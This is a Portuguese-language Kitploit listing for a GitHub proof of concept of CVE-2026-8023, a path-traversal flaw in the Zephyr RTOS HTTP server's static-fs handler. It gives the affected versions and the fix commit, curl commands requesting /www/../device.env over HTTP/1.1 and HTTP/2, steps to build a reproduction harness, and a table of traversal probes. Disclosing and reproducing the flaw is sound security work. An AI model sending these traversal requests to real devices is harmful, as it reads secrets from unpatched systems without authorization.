Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-8023 — PoC para CVE-2026-8023: Limitação inadequada de um nome de caminho para um diretório restrito ('Path Traversal') | Kitploit
Ferramentas/GitHubGitHub/ret2c/cve-2026-8023
Segurança de Sistemas EmbarcadosSegurança IoTAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança Web
GitHubret2c/cve-2026-8023

CVE-2026-8023

PoC para CVE-2026-8023: Limitação inadequada de um nome de caminho para um diretório restrito ('Path Traversal')

Ver Repositório
2há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site

CVE-2026-8023 — Travessia de caminho no static-fs HTTP do Zephyr (PoC)

Travessia de caminho sem autenticação no manipulador static-fs do servidor HTTP do Zephyr (subsys/net/lib/http) quando a correspondência de recurso curinga (CONFIG_HTTP_SERVER_RESOURCE_WILDCARD=y) é usada com HTTP_RESOURCE_TYPE_STATIC_FS. Afeta tanto HTTP/1.1 quanto HTTP/2.

GHSA: GHSA-hch3-53g6-jj3h

  • Versões afetadas: >= 4.0.0, < 4.3.1; >= 4.4.0, < 4.4.2
  • Confirmado contra: b93e61d02d5cd08d2fc559feb0253f9de3491777 (v4.4.0-rc1-32-gb93e61d02d5)
  • Introduzido: commit e55278a87be4e5534ba772b23e459882866bcd6d (2024-07-31)
  • Commit de correção: zephyrproject-rtos/zephyr#108531
root@kitploit:~
curl --http1.1 --path-as-is -i "http://$URL/www/../device.env"
curl --http2-prior-knowledge --path-as-is -i "http://$URL/www/../device.env"

Reproduzir

root@kitploit:~
git clone https://github.com/zephyrproject-rtos/zephyr.git
cd zephyr && git checkout b93e61d02d5cd08d2fc559feb0253f9de3491777 && cd ..
west init -l zephyr
west update

# Copy the contents of this repo's pocs/ into zephyr/pocs/
docker build -f zephyr/pocs/Dockerfile.native-sim -t zephyr-httpfs-zdi .
docker run --rm -it -v "$PWD":/work -w /work zephyr-httpfs-zdi bash

# Inside container:
west build -p always -b native_sim/native/64 \
    zephyr/pocs/http_static_fs_native_sim \
    -- -DEXTRA_DTC_OVERLAY_FILE=ramdisk.overlay
./build/zephyr/zephyr.exe

O harness monta uma imagem LittleFS, escreve um segredo em /littlefs/device.env fora da raiz web /littlefs/www/, expõe uma rota static-fs curinga e emite quatro requisições de loopback:

Baixar ferramenta
SondaRequisiçãoEsperado
HTTP1_GLOB_TRAVERSALGET /www/../device.env (HTTP/1.1)200 + segredo
HTTP1_ENCODED_TRAVERSALGET /www/%2e%2e/device.env (HTTP/1.1)404 (sem decodificação)
HTTP2_GLOB_TRAVERSAL:path = /www/../device.env (HTTP/2)bytes secretos
HTTP2_ENCODED_TRAVERSAL:path = /www/%2e%2e/device.env (HTTP/2)sem segredo